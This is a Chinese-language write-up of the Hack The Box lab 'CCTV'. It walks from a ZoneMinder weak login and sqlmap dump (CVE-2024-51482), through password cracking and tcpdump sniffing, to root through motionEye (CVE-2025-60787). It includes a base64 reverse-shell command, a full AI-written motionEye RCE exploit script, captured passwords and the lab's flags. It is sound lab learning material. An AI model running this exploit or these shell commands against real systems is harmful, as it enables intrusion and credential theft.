CCTV

UserFlag

CVE-2024-51482，嗅探tcpdump

先用nmap扫一下

nmap -A 10.129.19.233

22端口是ssh服务，80端口是web服务显示不能代理，需要域名解析一下

这样就可以访问了

这里看到有一个员工登录，尝试弱口令admin/admin，居然登进去了

看到是ZoneMinder页面，还是v1.37.63版本，去网上搜了相关的漏洞

再换个poc试试https://github.com/plur1bu5/CVE-2024-51482-PoC/blob/main/README.md

python3 CVE-2024-51482.py -t cctv.htb/zm/index.php -u admin -p admin --dbs

爆出的数据库全是乱码，也不行，看了之前的报错，可能这里不存在sql注入的点，没招了

emmm这里wp都写的是可以用sqlmap爆出密码，然后进行破解密码，但不知道为什么这里不管是sqlmap还是其他CVE都爆不出这个密码，就先放一下吧，先用wp里爆出的密码进行ssh登录

这里先放一下wp里的命令吧

用sqlmap一点点爆出库名表名这些最后爆出密码

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="ZMSESSID=ugq9i7n7qim8j5fkkec55jm6p4" -p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump

提取mark

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
    --cookie="ZMSESSID=ugq9i7n7qim8j5fkkec55jm6p4" \
    -p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump

破解密码

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
#结果：mark:opensesame

进行ssh登录

ssh mark@10.129.20.120

需要上传linpeas进行提权

先起一个服务

php -S 0:80

wget http://10.10.17.116/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

在这里貌似看到了可以利用tcpdump

嗅探tcpdump

/usr/bin/tcpdump -i any -A

终于找到了用户sa_mark，切换用户（这个得要慢慢找，因为信息量很多而且很多都是乱码找的我眼花了）

sa_mark X1l9fx1ZjS7RZb

su sa_mark

因为一开始看的ls -la没找到user.txt，就干脆直接用find找一下了（但没想到有那么多txt文件，又开始一顿kuku找）

find / -type f -name "*.txt" 2>/dev/null

因为一开始没想到会有这么多txt文件，其实这里应该也能尝试直接找user.txt

find / -type f -name "user.txt" 2>/dev/null

cat /home/sa_mark/user.txt

67e8d50772ee7b49b060216f437d8fa0

RootFlag

隧道搭建，CVE-2025-60787

查看端口情况

ss -tunlp

访问8765端口，账户密码是

admin X1l9fx1ZjS7RZb

搭建隧道转发

ssh -L 8766:127.0.0.1:8765 mark@10.129.20.120

这里尝试好几次都失败了，好像是要用root权限，然后访问127.0.0.1:8766

登录后查看源码

motionEye Version 0.43.1b4，看到版本后去找相关的漏洞

CVE-2025-60787：https://github.com/Rohitberiwala/CVE-2025-60787-MotionEye-RCE

python3 CVE-2025-60787.py --target 127.0.0.1:8765 --cmd "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMTYvMjMzMyAwPiYx | base64 -d| /bin/bash"

python3 CVE-2025-60787.py --target 127.0.0.1:8765 --cmd "ls"

但是好像这个poc有点问题，就用ai自己写了一个

#!/usr/bin/env python3
"""
CTF/lab validation helper for CVE-2025-60787 affecting motionEye <= 0.43.1b4.

This script follows motionEye's real signed-API flow instead of the misleading
POST /login pattern used in many broken PoCs:
1. probe the target
2. authenticate with _username/_signature
3. enumerate cameras
4. fetch a full camera UI config
5. replace image_file_name with a payload
6. save the full JSON config back
7. trigger a manual snapshot to drive picture_save handling

Use only against systems you own or are explicitly authorized to test.
"""

from __future__ import annotations

import argparse
import copy
import hashlib
import json
import re
import sys
import time
from dataclasses import dataclass
from typing import Any
from urllib.parse import parse_qsl, quote, urlencode, urlsplit, urlunsplit

import requests


SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')


def sha1_hex(data: str) -> str:
    return hashlib.sha1(data.encode("utf-8")).hexdigest().lower()


def normalize_base_url(target: str, port: int, scheme: str) -> str:
    target = target.strip()
    if "://" in target:
        parsed = urlsplit(target)
        base_path = parsed.path.rstrip("/")
        return urlunsplit((parsed.scheme, parsed.netloc, base_path, "", "")).rstrip("/")

    host = target.rstrip("/")
    return f"{scheme}://{host}:{port}".rstrip("/")


@dataclass
class CameraSelection:
    camera_id: int
    config: dict[str, Any]


class MotionEyeRCE:
    def __init__(
        self,
        base_url: str,
        username: str,
        password: str,
        password_hash: str | None,
        command: str,
        timeout: int = 10,
        verify_tls: bool = True,
        use_basic_auth: bool = False,
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.password_hash = (
            password_hash.lower() if password_hash else sha1_hex(password)
        )
        self.command = command
        self.timeout = timeout
        self.verify_tls = verify_tls
        self.session = requests.Session()
        self.session.headers.update(
            {
                "User-Agent": "Mozilla/5.0 (CTF Lab Validator)",
                "Accept": "application/json, text/html;q=0.9, */*;q=0.8",
            }
        )
        if use_basic_auth and password:
            self.session.auth = (username, password)

        if not verify_tls:
            requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]

    def print_banner(self) -> None:
        print("-" * 72)
        print("CVE-2025-60787 | motionEye <= 0.43.1b4 | lab/CTF validation helper")
        print("Mode: signed API config replay + snapshot trigger")
        print("-" * 72)

    def _build_url(self, path: str) -> str:
        if not path.startswith("/"):
            path = "/" + path
        return f"{self.base_url}{path}"

    def _encode_query(self, items: list[tuple[str, str]]) -> str:
        return urlencode(items, doseq=True)

    def _compute_signature(self, method: str, url: str, body: bytes) -> str:
        parts = list(urlsplit(url))
        query = [
            pair
            for pair in parse_qsl(parts[3], keep_blank_values=True)
            if pair[0] != "_signature"
        ]
        query.sort(key=lambda pair: pair[0])
        query = [(name, quote(value, safe="!'()*~")) for name, value in query]

        parts[0] = ""
        parts[1] = ""
        parts[3] = "&".join(f"{name}={value}" for name, value in query)
        canonical_path = urlunsplit(parts)
        canonical_path = SIGNATURE_REGEX.sub("-", canonical_path)

        body_text = None
        if body:
            try:
                body_text = body.decode("utf-8")
            except UnicodeDecodeError:
                body_text = None

        if body_text and body_text.startswith("---"):
            body_text = None

        if body_text:
            body_text = SIGNATURE_REGEX.sub("-", body_text)

        material = (
            f"{method.upper()}:{canonical_path}:{body_text or ''}:{self.password_hash}"
        )
        return hashlib.sha1(material.encode("utf-8")).hexdigest().lower()

    def _request(
        self,
        method: str,
        path: str,
        *,
        params: list[tuple[str, str]] | None = None,
        json_body: Any | None = None,
        signed: bool = True,
        headers: dict[str, str] | None = None,
    ) -> requests.Response:
        if params is None:
            params = []

        body = b""
        req_headers = dict(headers or {})
        if json_body is not None:
            body = json.dumps(
                json_body, separators=(",", ":"), sort_keys=True
            ).encode("utf-8")
            req_headers["Content-Type"] = "application/json"

        if signed:
            params = list(params) + [("_username", self.username)]

        url = self._build_url(path)
        if params:
            parts = list(urlsplit(url))
            existing = parse_qsl(parts[3], keep_blank_values=True)
            existing.extend(params)
            parts[3] = self._encode_query(existing)
            url = urlunsplit(parts)

        if signed:
            signature = self._compute_signature(method, url, body)
            parts = list(urlsplit(url))
            existing = parse_qsl(parts[3], keep_blank_values=True)
            existing.append(("_signature", signature))
            parts[3] = self._encode_query(existing)
            url = urlunsplit(parts)

        return self.session.request(
            method=method.upper(),
            url=url,
            data=body or None,
            headers=req_headers,
            timeout=self.timeout,
            verify=self.verify_tls,
            allow_redirects=True,
        )

    def _json(self, response: requests.Response) -> Any:
        try:
            return response.json()
        except ValueError:
            preview = response.text[:200].strip().replace("\n", "\\n")
            raise RuntimeError(
                f"Expected JSON from {response.url}, got {response.status_code}: {preview}"
            )

    def validate_target(self) -> bool:
        print(f"[*] Probing {self.base_url} ...")
        try:
            response = self._request("GET", "/", signed=False)
        except requests.RequestException as exc:
            print(f"[-] Probe failed: {exc}")
            return False

        body = response.text.lower()
        server_header = response.headers.get("Server", "")
        if response.status_code != 200:
            print(f"[-] Unexpected status code from /: {response.status_code}")
            return False

        if "motioneye" in body or "motionEye" in server_header:
            print("[+] Target looks like motionEye.")
            return True

        print("[-] Target did not look like motionEye.")
        return False

    def authenticate(self) -> bool:
        print("[*] Verifying signed admin API access ...")
        try:
            response = self._request("GET", "/config/main/get/")
        except requests.RequestException as exc:
            print(f"[-] Auth probe failed: {exc}")
            return False

        data = self._json(response)
        if response.status_code == 200 and isinstance(data, dict) and "admin_username" in data:
            print("[+] Signed API authentication succeeded.")
            return True

        print(f"[-] Authentication failed: {json.dumps(data, ensure_ascii=False)}")
        return False

    def list_cameras(self) -> list[dict[str, Any]]:
        print("[*] Enumerating cameras ...")
        response = self._request("GET", "/config/list/")
        data = self._json(response)

        cameras = data.get("cameras")
        if response.status_code != 200 or not isinstance(cameras, list):
            raise RuntimeError(f"Failed to list cameras: {data}")

        print(f"[+] Found {len(cameras)} camera(s).")
        return cameras

    def get_camera_config(self, camera_id: int) -> dict[str, Any]:
        response = self._request("GET", f"/config/{camera_id}/get/")
        data = self._json(response)
        if response.status_code != 200 or not isinstance(data, dict) or data.get("error"):
            raise RuntimeError(f"Failed to fetch config for camera {camera_id}: {data}")
        return data

    def is_locally_managed_motion_camera(self, config: dict[str, Any]) -> bool:
        required_keys = {
            "enabled",
            "still_images",
            "capture_mode",
            "image_file_name",
            "movies",
            "manual_snapshots",
        }
        return required_keys.issubset(config.keys())

    def select_camera(self, preferred_camera_id: int | None) -> CameraSelection:
        cameras = self.list_cameras()
        candidate_ids = []

        if preferred_camera_id is not None:
            candidate_ids = [preferred_camera_id]
        else:
            for camera in cameras:
                if "id" in camera:
                    try:
                        candidate_ids.append(int(camera["id"]))
                    except (TypeError, ValueError):
                        continue

        if not candidate_ids:
            raise RuntimeError("No cameras were available for testing.")

        for camera_id in candidate_ids:
            cfg = self.get_camera_config(camera_id)
            if self.is_locally_managed_motion_camera(cfg):
                print(f"[+] Selected local motion-managed camera {camera_id}.")
                return CameraSelection(camera_id=camera_id, config=cfg)
            print(f"[-] Camera {camera_id} is not a local motion-managed camera, skipping.")

        raise RuntimeError("No exploitable local motion-managed cameras were found.")

    def build_payload(self) -> str:
        return f"$({self.command})%Y-%m-%d/%H-%M-%S"

    def craft_config(self, original: dict[str, Any]) -> dict[str, Any]:
        payload = self.build_payload()
        crafted = copy.deepcopy(original)

        # Force a snapshot-capable still-image workflow so we can trigger it on demand.
        crafted["still_images"] = True
        crafted["manual_snapshots"] = True
        crafted["capture_mode"] = "manual"
        crafted["image_file_name"] = payload

        return crafted

    def set_camera_config(self, camera_id: int, ui_config: dict[str, Any]) -> dict[str, Any]:
        response = self._request("POST", f"/config/{camera_id}/set/", json_body=ui_config)
        data = self._json(response)

        if response.status_code != 200:
            raise RuntimeError(f"Config update failed with HTTP {response.status_code}: {data}")
        if isinstance(data, dict) and data.get("error"):
            raise RuntimeError(f"Config update returned an error: {data}")

        return data

    def trigger_snapshot(self, camera_id: int) -> dict[str, Any]:
        response = self._request("POST", f"/action/{camera_id}/snapshot/")
        if not response.text.strip():
            return {}
        return self._json(response)

    def picture_count(self, camera_id: int) -> int | None:
        try:
            response = self._request("GET", f"/picture/{camera_id}/list/")
            data = self._json(response)
        except Exception:
            return None

        media_list = data.get("mediaList")
        if media_list is None:
            return None

        def walk(node: Any) -> int:
            if isinstance(node, list):
                return sum(walk(item) for item in node)
            if isinstance(node, dict):
                if "filename" in node:
                    return 1
                return sum(walk(value) for value in node.values())
            return 0

        return walk(media_list)


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="motionEye CVE-2025-60787 lab/CTF validation helper"
    )
    parser.add_argument("--target", required=True, help="Target host or full base URL")
    parser.add_argument(
        "--port", type=int, default=8765, help="Target port when --target is not a full URL"
    )
    parser.add_argument(
        "--scheme",
        choices=["http", "https"],
        default="http",
        help="Scheme when --target is not a full URL",
    )
    parser.add_argument("--user", default="admin", help="motionEye admin username")
    parser.add_argument("--pwd", default="", help="motionEye admin password")
    parser.add_argument(
        "--pwd-hash",
        default=None,
        help="Precomputed SHA1 admin password hash used by motionEye's signed API",
    )
    parser.add_argument(
        "--cmd",
        default="touch /tmp/rce_success",
        help="Command to wrap inside the filename payload",
    )
    parser.add_argument(
        "--camera",
        type=int,
        default=None,
        help="Specific camera id to target; defaults to the first compatible local camera",
    )
    parser.add_argument(
        "--wait",
        type=float,
        default=3.0,
        help="Seconds to wait after triggering a snapshot",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=10,
        help="HTTP timeout in seconds",
    )
    parser.add_argument(
        "--restore",
        action="store_true",
        help="Restore the original camera config after the trigger attempt",
    )
    parser.add_argument(
        "--basic",
        action="store_true",
        help="Also send HTTP Basic credentials on each request",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="Disable TLS certificate verification for HTTPS targets",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    base_url = normalize_base_url(args.target, args.port, args.scheme)

    exploit = MotionEyeRCE(
        base_url=base_url,
        username=args.user,
        password=args.pwd,
        password_hash=args.pwd_hash,
        command=args.cmd,
        timeout=args.timeout,
        verify_tls=not args.insecure,
        use_basic_auth=args.basic,
    )

    exploit.print_banner()

    if not exploit.validate_target():
        return 1

    if not exploit.authenticate():
        return 1

    try:
        selection = exploit.select_camera(args.camera)
        original_config = selection.config
        malicious_config = exploit.craft_config(original_config)

        print(f"[*] Payload: {malicious_config['image_file_name']}")

        before_count = exploit.picture_count(selection.camera_id)
        if before_count is not None:
            print(f"[*] Pictures before trigger: {before_count}")

        print(f"[*] Updating camera {selection.camera_id} configuration ...")
        result = exploit.set_camera_config(selection.camera_id, malicious_config)
        print(f"[+] Config update accepted: {json.dumps(result, ensure_ascii=False)}")

        persisted = exploit.get_camera_config(selection.camera_id)
        if persisted.get("image_file_name") == malicious_config["image_file_name"]:
            print("[+] Malicious image_file_name persisted successfully.")
        else:
            print("[-] image_file_name was not persisted as expected.")

        print(f"[*] Triggering snapshot on camera {selection.camera_id} ...")
        snapshot_result = exploit.trigger_snapshot(selection.camera_id)
        print(f"[+] Snapshot request returned: {json.dumps(snapshot_result, ensure_ascii=False)}")

        if args.wait > 0:
            time.sleep(args.wait)

        after_count = exploit.picture_count(selection.camera_id)
        if after_count is not None:
            print(f"[*] Pictures after trigger: {after_count}")
            if before_count is not None and after_count > before_count:
                print("[+] Picture count increased after the trigger.")
            elif before_count is not None:
                print("[-] Picture count did not increase; the trigger may still be blind.")

        print("[*] Exploit path executed. Use a side-effect command or callback to verify RCE.")

        if args.restore:
            print("[*] Restoring original camera config ...")
            restore_result = exploit.set_camera_config(selection.camera_id, original_config)
            print(f"[+] Restore completed: {json.dumps(restore_result, ensure_ascii=False)}")

        return 0

    except requests.RequestException as exc:
        print(f"[-] Request failed: {exc}")
        return 1
    except RuntimeError as exc:
        print(f"[-] {exc}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

先将这个脚本存在kali上，再将他传到靶机上，在kali中新开一个终端，执行下面命令

scp /home/kali/Desktop/HTB/CCTV/CVE-2025-60787.py mark@10.129.21.5:/home/mark

执行命令

python3 CVE-2025-60787.py --target http://127.0.0.1:8765 --user admin --pwd 'X1l9fx1ZjS7RZb' --cmd "sh -c 'id > /tmp/rce_proof; uname -a >> /tmp/rce_proof'" --wait 5 --restore
cat /tmp/rce_proof

执行成功，并且是以root命令执行

python3 CVE-2025-60787.py --target http://127.0.0.1:8765 --user admin --pwd 'X1l9fx1ZjS7RZb' --cmd "sh -c 'cat /root/root.txt > /tmp/rce1; uname -a >> /tmp/rce1'" --wait 5 --restore
cat /tmp/rce1

6d0e4402dfdb206649127f170f89f7f6